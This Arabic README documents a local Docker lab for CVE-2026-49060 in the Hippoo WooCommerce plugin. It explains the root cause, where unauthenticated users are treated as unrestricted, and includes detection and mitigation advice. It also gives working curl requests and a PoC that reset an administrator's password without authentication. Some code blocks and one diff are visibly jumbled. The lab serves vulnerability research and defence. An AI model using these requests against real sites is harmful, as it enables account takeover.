
يحتوي هذا المستودع على بيئة معملية محلية باستخدام Docker لإعادة إنتاج والتحقق من CVE-2026-49060، وهي ثغرة تخصيص صلاحيات غير صحيح تؤثر على إضافة ووردبريس Hippoo Mobile App for WooCommerce.
يتم كشف السلوك القابل للاستغلال عبر مساحة أسماء REST API المستنسخة من Hippoo:```text /wc-hippoo/v1/ext/
في الهدف الثغري، يمكن لزائر غير مصادَق الوصول إلى مسار REST للمستخدمين المستنسخ في WordPress وتحديث كلمة مرور مستخدم المسؤول عبر طلب HTTP غير مصادَق. وفي الهدف المصحح، يُحظر الطلب نفسه برمز `403 Forbidden`.
يقارن هذا المختبر بين نسختين من Hippoo:
| الخدمة | إصدار Hippoo | الغرض | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln` | 1.9.4 | هدف المقارنة الثغري | `http://localhost:8081` |
| `patched` | 1.9.5 | هدف المقارنة المصحح | `http://localhost:8082` |
سلسلة الثغرات المُوضَّحة هي:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden
يختبر هذا المختبر سلوك التفويض بين النسخة الضعيفة والنسخة المصححة باستخدام Hippoo 1.9.4 وHippoo 1.9.5.
يقتصر المختبر عمدًا على خدمات Docker المحلية. وهو لا يستهدف أنظمة خارجية ولا يتضمن الاستمرارية، أو قواقع الويب، أو البرمجيات الخبيثة، أو الاستدعاءات الخارجية.
يستخدم هذا المختبر Hippoo 1.9.4 كهدف مقارنة ضعيف لأن النشرات الاستشارية العامة تحدد الإصدارات حتى 1.9.4 على أنها متأثرة.
يستخدم هذا المختبر Hippoo 1.9.5 كهدف مقارنة مصحح لأن البيانات الوصفية للنشرات الاستشارية العامة تحدد 1.9.5 كإصدار مُصلَح للنطاق المتأثر الموضح.
يصف السجل العام لـ CVE-2026-49060 المشكلة على مستوى عالٍ بأنها تعيين صلاحيات غير صحيح / تصعيد صلاحيات. يركز هذا المختبر على سلوك التفويض القابل للملاحظة في Hippoo 1.9.4 ويقارنه مع Hippoo 1.9.5.
يعتمد ملخص السبب الجذري في هذا README على مقارنة الكود المصدري بين إصدارَي Hippoo الضعيف والمصحح المستخدمين في المختبر.
لا يدعي هذا المختبر اختبار كل مسارات Hippoo. إنه يركز على مسار مستخدمي WordPress REST المستنسخ:```text /wc-hippoo/v1/ext/wp/v2/users/
لا يوضح المختبر ما يلي:
* الثبات (persistence)،
* رفع قشرة ويب (web shell)،
* تنفيذ أوامر عشوائية،
* عمليات رد اتصال خارجية،
* سلوك البرمجيات الخبيثة،
* هجمات ضد أنظمة خارج المختبر،
* أو نشاط ما بعد الاختراق بما يتجاوز التحقق من تحديث كلمة المرور المحلية.
## ملخص السبب الجذري
السبب الجذري هو خلل في منطق الأذونات في معالجة الأدوار والأذونات في Hippoo.
يكشف Hippoo عن مسارات REST المنسوخة من WordPress وWooCommerce تحت نطاقه الخاص:```text
/wc-hippoo/v1/ext/
يعد سلوك استنساخ المسار (route-cloning) حساسًا من الناحية الأمنية، إذ يجب أن يحافظ المسار المستنسخ على متطلبات التفويض الخاصة بالمسار الأصلي أو يعززها. وإذا حصل المسار المستنسخ على استدعاء رجعي متساهل للأذونات، فقد يتمكن المستخدمون غير المصادق عليهم من الوصول إلى نقاط نهاية REST التي يجب أن تتطلب المصادقة والتفويض.
يتبع سلوك استنساخ المسار ذي الصلة هذا النمط:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();
$new_namespace = $this->hippoo_namespace . '/ext';
foreach ($endpoints as $route => $handlers) {
if (strpos($route, $this->hippoo_namespace) === 0) {
continue;
}
foreach ($handlers as $handler) {
$default_permission_callback = array($this, 'is_user_wordpress_admin');
$permission_callback = apply_filters(
'hippoo_extension_permission_check',
$default_permission_callback,
$route,
$handler
);
register_rest_route(
$new_namespace,
$route,
array(
'methods' => $methods,
'callback' => $handler['callback'],
'args' => $handler['args'],
'permission_callback' => $permission_callback,
)
);
}
}
}
نموذج الأمان المقصود هو:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access
يحدث السلوك القابل للاستغلال لأن Hippoo 1.9.4 يستخدم نفس قيمة الإرجاع لحالتين مختلفتين:```text
administrator / unrestricted access
unauthenticated visitor / no user
في Hippoo `1.9.4`، يُرجع مساعد الأذونات `null` عندما لا يوجد مستخدم WordPress مسجّل الدخول:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists()) {
return null;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
}
return $settings[$role];
}
return null; // Full access
}
النسخة المعرضة للخطر تتعامل أيضًا مع null كقيمة مسموح بها:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin or unrestricted
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
هذا يُنشئ تدفق البيانات المعرّض للخطر:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints
المشكلة ليست مجرد وجود مسار REST. المشكلة هي أن قرار الإذن قد يعامل الزائر غير المصادَق بشكل غير صحيح على أنه غير مقيد.
النسخة المُصحَّحة تفصل بين هذه الحالات.
في Hippoo 1.9.5، يُرجع الزوار غير المصادَق عليهم false بدلاً من null:```php
public static function get_user_permissions()
{
$user = wp_get_current_user();
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) {
return null; // Full access
}
$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
if (isset($settings[$role])) {
return $settings[$role];
}
}
return false; // No access
}
فحص التفويض المُصحح يرفض بعد ذلك صراحةً `false`:```php
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
return true; // admin
}
if ($perms === false) {
return false;
}
if (empty($perms['general']['enable_access'])) {
return false;
}
}
التغيير المتعلق بالأمن هو:```text Before: unauthenticated visitor → null → allowed
After: unauthenticated visitor → false → denied
لهذا السبب يعرض المختبر:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden
يغيّر التصحيح معنى قيم الإرجاع الخاصة بالأذونات.
في الإصدار المعرض للثغرة:```text null means administrator/full access null also means unauthenticated/no user
في النسخة المصححة:```text
null means administrator/full access
false means unauthenticated/no role/no access
التغيير المهم على مستوى المصدر في مساعد الأذونات هو:```diff public static function get_user_permissions() { $user = wp_get_current_user();
return null;
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
return false;
}
if (in_array('administrator', (array) $user->roles)) { return null; // Full access }
$settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {
if (!isset($settings[$role])) {
continue;
if (isset($settings[$role])) {
return $settings[$role];
}
return $settings[$role];
}
return null; // Full access
قرار التفويض يتغير أيضًا:```diff
private function has_role_access($section, $key = null)
{
$perms = self::get_user_permissions();
if ($perms === null) {
- return true; // admin or unrestricted
+ return true; // admin
}
+ if ($perms === false) {
+ return false;
+ }
+
if (empty($perms['general']['enable_access'])) {
return false;
}
}
لا يزيل هذا التصحيح ميزة استنساخ المسار في Hippoo. بدلاً من ذلك، يعمل على إصلاح حد الثقة حول تقييم الأذونات.
الدرس الأمني المستفاد من هذا التصحيح هو:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".
يجب أن تستخدم دوال الأذونات الحساسة أمنياً قيماً مميزة للحالات المميزة:```text
administrator / full access → allowed
authenticated user with policy → evaluate policy
unauthenticated user → denied
unknown role / no configured ACL → denied
يشغّل المعمل تثبيتين معزولين لـ WordPress عبر Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore
| الخدمة | المكوّن | الإصدار / الدور |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | تطبيق الهدف المعرّض للثغرات |
| `patched` | WordPress + WooCommerce + Hippoo | تطبيق الهدف المحدّث |
| `db-vuln` | MariaDB | قاعدة بيانات للهدف المعرّض للثغرات |
| `db-patched` | MariaDB | قاعدة بيانات للهدف المحدّث |
| `init-vuln` | خدمة تهيئة ووردبريس | يهيئ الهدف المعرّض للثغرات |
| `init-patched` | خدمة تهيئة ووردبريس | يهيئ الهدف المحدّث |
الخدمات المكشوفة الافتراضية:```text
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
The lab uses pinned Hippoo versions:
| Target | Hippoo version | Expected behavior |
|---|---|---|
http://localhost:8081 | 1.9.4 | unauthenticated cloned users route is allowed |
http://localhost:8082 | 1.9.5 | unauthenticated cloned users route is blocked |
The lab installs WooCommerce because Hippoo integrates with WooCommerce REST classes and routes.
No Python third-party package is required. The PoC uses Python standard library modules only.
Start the lab from a clean state:```bash docker compose down -v --remove-orphans
docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5
docker compose up --build --wait -d
تحقق من حالة الخدمة:```bash
docker compose ps
الخدمات السليمة المتوقعة:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched
تحقق من تطبيقات الويب:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
شغّل التحقق للقراءة فقط ضد كلا الهدفين:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
قم بتشغيل التحقق المحلي النشط ضد كلا الهدفين:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
شغّل التحقق النشط باستخدام كلمة مرور صريحة:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081
## استخدام PoC
مرّر عنوان URL واحدًا أو أكثر من عناوين URL المحلية المستهدفة كوسائط موضعية:```bash
python3 poc/poc.py <target_url> [target_url...]
أمثلة:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
الوضع الافتراضي هو للقراءة فقط. يرسل طلب `GET` غير مصادَق إلى مسار المستخدمين المستنسخ ويُبلّغ عما إذا كان الوصول مسموحًا أم محظورًا.
الخيارات المدعومة:```text
--update-password Send unauthenticated POST to update the selected user's password.
--user-id WordPress user ID to read or update. Default: 1.
--password Password used with --update-password.
مثال للتحقق النشط:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081
يقبل الـ PoC الأهداف المحلية/الحلقية فقط:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>
يرفض الأهداف غير المحلية حسب التصميم.
الأمر:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
إشارة الهدف المعرض للخطر المتوقعة:```text
Target: target-1
Base : http://127.0.0.1:8081
[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: ALLOWED
Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
إشارة الهدف المُرقَّع المتوقعة:```text Target: target-2 Base : http://127.0.0.1:8082
[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users
Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
الملخص المتوقع:```text
Summary
target-1
URL : http://127.0.0.1:8081
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : ALLOWED
GET status : 200
target-2
URL : http://127.0.0.1:8082
REST ready : True
REST index path : /?rest_route=/
Route found : True
Route : /wc-hippoo/v1/ext/wp/v2/users
GET verdict : BLOCKED
GET status : 403
Read-only comparison:
At least one target allowed unauthenticated GET access and at least one target blocked it.
This supports a vulnerable-vs-patched authorization behavior difference.
الأمر:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
إشارة الهدف الضعيف المتوقعة:```text
Active local validation: target-1
Base : http://127.0.0.1:8081
Unauthenticated POST password update result: ALLOWED
Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Status : 200 OK
إشارة الهدف المُصحَّح المتوقعة:```text Active local validation: target-2 Base : http://127.0.0.1:8082
Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden
التحقق النشط يغيّر فقط كلمة مرور مدير WordPress المؤقتة داخل هدف المختبر المحلي القابل للاستغلال.
بيانات اعتماد المختبر المحلية الافتراضية قبل التحقق النشط:```text
Username: admin
Password: AdminPass123!
كلمة المرور الافتراضية بعد التحقق النشط الناجح على الهدف المعرّض للخطر:```text Username: admin Password: Cve49060LabPass123!
## كيف يعمل التحقق
يكتشف المُتحقق أولاً واجهة برمجة تطبيقات REST الخاصة بـ WordPress.
بعض بيئات WordPress تعرض مسارات REST عبر روابط دائمة منسقة:```text
/wp-json/
البعض الآخر يكشفها بشكل أكثر موثوقية عبر الاحتياطي في سلسلة الاستعلام:```text /?rest_route=/
يحاول المُتحقِّق كِلا الصيغتين ويستخدم الصيغة التي تُرجِع فهرس REST بصيغة JSON.
بعد اكتشاف REST، يبحث عن مسار مستخدمي Hippoo المستنسخين:```text
/wc-hippoo/v1/ext/wp/v2/users
ثم يقوم بطلب GET غير مصادق عليه للقراءة فقط:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
السلوك الضعيف المتوقع:```text
HTTP 200 OK
JSON user object returned
السلوك المتوقع بعد التصحيح:```text HTTP 403 Forbidden JSON rest_forbidden error returned
When `--update-password` is enabled, the validator sends an unauthenticated POST request:
عندما يتم تمكين `--update-password`، يرسل المُدقِّق طلب POST غير مُصادَق عليه:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json
{
"password": "Cve49060LabPass123!"
}
السلوك الضعيف المتوقع:```text HTTP 200 OK The selected user's password is updated inside the local lab target.
السلوك المتوقع بعد التصحيح:```text
HTTP 403 Forbidden
The update is blocked.
الفرق المهم ليس في ما إذا كان المسار موجودًا. المسار موجود في كلا الإصدارين. الفرق الأمني هو ما إذا كان يُسمح لطلب غير مصادَق باستدعائه.
اختبار الثغرة للقراءة فقط:```bash
curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
النتيجة المتوقعة:```text
HTTP/1.1 200 OK
Content-Type: application/json
مسبار مُرقّع للقراءة فقط:```bash
curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
النتيجة المتوقعة:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json
المسبار النشط للثغرات:```bash
curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
النتيجة المتوقعة:```text
HTTP/1.1 200 OK
المسبار النشط المُصحَّح:```bash
curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'
النتيجة المتوقعة:```text
HTTP/1.1 403 Forbidden
السلوك القابل للاستغلال يسمح بالوصول غير المصادق عليه إلى مسارات REST المستنسخة ضمن نطاق Hippoo.
أكثر المسارات حساسية من الناحية الأمنية المُوضَّحة هو مسار مستخدمي ووردبريس المستنسخ:```text /wc-hippoo/v1/ext/wp/v2/users/
في الهدف المحلي الضعيف، يمكن لطلب غير مصادق عليه تحديث كلمة مرور مستخدم المسؤول. وهذا يوضح تأثير الاستيلاء على الحساب في المختبر الخاضع للسيطرة.
التأثير المحتمل في العالم الحقيقي، اعتمادًا على تكوين الموقع والمسارات المكشوفة، يشمل:
* وصول غير مصرح به إلى بيانات REST API الحساسة،
* الاستيلاء على حساب المسؤول،
* تصعيد الامتيازات،
* تعديل غير مصرح به لسجلات مستخدمي ووردبريس،
* والاختراق الكامل للموقع بعد الحصول على وصول المسؤول.
يوضح هذا المختبر فشل التفويض وتحديث كلمة مرور المسؤول المحلي فقط. ولا يشمل الاستغلال بعد المصادقة، أو تحرير الإضافات، أو تنفيذ التعليمات البرمجية، أو الاستمرارية، أو الإجراءات التدميرية.
## الكشف والمراقبة
تشمل المؤشرات المحتملة طلبات غير مصادق عليها إلى مساحة اسم REST المستنسخة الخاصة بـ Hippoo:```text
/wc-hippoo/v1/ext/
نمط المسار عالي الخطورة:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/
المؤشرات المشبوهة:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests
أمثلة على أنماط سجل الوصول:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
إجراءات المراقبة الموصى بها:
* مراجعة سجلات وصول خادم الويب بحثًا عن `/wc-hippoo/v1/ext/`.
* مراجعة سجلات مصادقة ووردبريس بحثًا عن عمليات تسجيل دخول غير متوقعة للمسؤولين.
* مراجعة سجلات مستخدمي ووردبريس بحثًا عن تغييرات حديثة في كلمات المرور.
* مراجعة عناوين البريد الإلكتروني والأدوار وأوقات إنشاء حسابات المسؤولين.
* مراجعة أوقات تعديل ملفات الإضافات/القوالب في حال الاشتباه بالاستيلاء على حساب مسؤول.
* مراقبة طلبات REST API التي تُرجع `200 OK` للمستخدمين غير المصادقين حيث يكون التفويض مطلوبًا.
## ملاحظات التخفيف والتصحيح
قم بترقية إضافة Hippoo Mobile App for WooCommerce إلى إصدار مصحح.
بالنسبة للمقارنة المخبرية المحددة، فإن إصدار Hippoo `1.9.5` يحظر سلوك مسار المستخدمين المستنسخين غير المصادق عليه الموضح والذي كان مسموحًا به في الإصدار `1.9.4`.
بالنسبة لبيئات الإنتاج، قم بالتحديث إلى أحدث إصدار متاح بدلاً من التوقف عند إصدار المقارنة المخبرية.
خطوات التخفيف الموصى بها:
* قم بتحديث إضافة Hippoo Mobile App for WooCommerce إلى أحدث إصدار مصحح متاح.
* تأكد من أن الإصدار المثبت أحدث من النطاق المتأثر.
* راجع ما إذا كان `/wc-hippoo/v1/ext/` مكشوفًا للعامة.
* قم بتدوير كلمات مرور المسؤولين إذا كان هناك اشتباه في الاستغلال.
* راجع حسابات مسؤولي ووردبريس بحثًا عن تغييرات غير مصرح بها.
* راجع سجلات وصول الويب بحثًا عن طلبات غير مصادق عليها إلى مسارات REST المستنسخة.
* قم بتعطيل الإضافة مؤقتًا إذا لم يكن التصحيح الفوري ممكنًا.
* استخدم جدار حماية تطبيقات الويب (WAF) أو الترقيع الافتراضي كطبقة مؤقتة، وليس كبديل للترقية.
دروس هندسة الأمان:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.
تحقق من حالة الحاوية:```bash docker compose ps
تحقق من سجلات التهيئة:```bash
docker compose logs init-vuln init-patched
تحقق من خدمات الويب:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
قم بتشغيل التحقق للقراءة فقط:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082
تشغيل التحقق النشط:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082
تحقق من الإضافات النشطة:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
تحقق من إصدارات Hippoo:```bash
docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"
افحص منطق الأذونات في الهدف المعرض للخطر:```bash
docker compose exec -T vuln sh -lc \
"grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
افحص منطق الأذونات في الهدف المُرَقَّع:```bash
docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"
احفظ دليل التحقق:```bash
mkdir -p evidence
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/read-only-validation.txt
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
| tee evidence/active-password-update-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
أوقف الحاويات والشبكات وأزلْها:```bash docker compose down --remove-orphans
إزالة الحاويات والشبكات ووحدات التخزين:```bash
docker compose down -v --remove-orphans
احذف ملفات الأدلة المحلية إذا تم إنشاؤها:```bash rm -rf evidence/
## حدود الأمان
هذا المختبر مخصص لأبحاث الأمن المحلية والعروض التوضيحية الخاضعة للتحكم فقط.
لا تشغّل الـ PoC أو طلبات curl اليدوية ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا لاختبارها.
لا تستخدم بيانات اعتماد إنتاجية حقيقية، أو بيانات عملاء حقيقية، أو أسرار إنتاجية في هذا المختبر.
النطاق المقصود يقتصر على خدمات Docker المحلية مثل:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
الـ PoC مقصود به عمدًا أن يقتصر على HTTP وأن يكون ضمن نطاق محلي. لا يستدعي Docker أو Docker Compose أو WP-CLI أو واجهات برمجة تطبيقات الحاويات.
وضع التحقق النشط يغيّر كلمة المرور فقط لمستخدم WordPress المحدد داخل بيئة المختبر المحلية المؤقتة.
لا يتضمن المختبر حمولات من أجل:
الهدف هو إظهار حالة تقنية محددة واحدة في بيئة خاضعة للتحكم:```text unauthenticated request
## المراجع
* NVD: CVE-2026-49060
https://nvd.nist.gov/vuln/detail/CVE-2026-49060
* Patchstack: إضافة ووردبريس Hippoo Mobile App for WooCommerce <= 1.9.4 تصعيد الامتيازات
https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability
* استشارة GitHub الأمنية: GHSA-mh6m-7983-2r5w
https://github.com/advisories/GHSA-mh6m-7983-2r5w
* إضافة WordPress.org: Hippoo Mobile App for WooCommerce
https://wordpress.org/plugins/hippoo/
* مستودع SVN لإضافات WordPress.org
https://plugins.svn.wordpress.org/hippoo/
* وسوم SVN لإضافات WordPress.org
https://plugins.svn.wordpress.org/hippoo/tags/
* دليل WordPress REST API: المسارات ونقاط النهاية
https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/
* OWASP دليل اختبار أمان الويب: اختبار تجاوز التفويض
https://owasp.org/www-project-web-security-testing-guide/
| الادعاء | الدليل | كيفية التحقق في هذا المختبر |
|---|
يؤثر CVE-2026-49060 على تطبيق Hippoo للجوال لـ WooCommerce حتى الإصدار 1.9.4. | تحدد النشرات الاستشارية العامة أن Hippoo <= 1.9.4 / حتى 1.9.4 متأثر. | راجع قسم المراجع وقارن إصدار خدمة vuln. |
يُستخدم Hippoo 1.9.5 كهدف مقارنة مصحح. | تحدد البيانات الوصفية للنشرات الاستشارية العامة 1.9.5 كإصدار مصحح للنطاق المتأثر. | شغّل docker compose logs init-vuln init-patched وتأكد من إصدارات الإضافات المهيأة. |
| يظهر السلوك الضعيف عبر مساحة أسماء REST المستنسخة من Hippoo. | يعيد Hippoo تسجيل مسارات REST الخارجية تحت /wc-hippoo/v1/ext/. | شغّل python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082. |
يتيح Hippoo 1.9.4 وصولًا غير مصادق عليه إلى مسار المستخدمين المستنسخ في هذا المختبر. | يتلقى PoC الخاص بالمختبر رد 200 OK من http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | شغّل أمر التحقق للقراءة فقط ضد 8081. |
يحظر Hippoo 1.9.5 نفس الطلب غير المصادق عليه في هذا المختبر. | يتلقى PoC الخاص بالمختبر رد 403 Forbidden من http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1. | شغّل أمر التحقق للقراءة فقط ضد 8082. |
| يمكن للهدف الضعيف تحديث كلمة مرور المسؤول عبر طلب POST غير مصادق عليه في هذا المختبر المحلي. | يتلقى PoC النشط رد 200 OK من الهدف الضعيف عند استخدام --update-password. | شغّل python3 poc/poc.py --update-password http://127.0.0.1:8081. |
| يحظر الهدف المصحح طلب تحديث كلمة المرور غير المصادق عليه. | يُرجع Hippoo 1.9.5 استجابة مرفوضة لنفس مسار المستخدمين المستنسخ. | شغّل التحقق النشط ضد الهدفين معًا. |
| يقتصر PoC على HTTP فقط. | يُرسل poc/poc.py طلبات HTTP فقط ولا يستدعي Docker أو WP-CLI أو واجهات برمجة تطبيقات الحاويات. | افحص poc/poc.py. |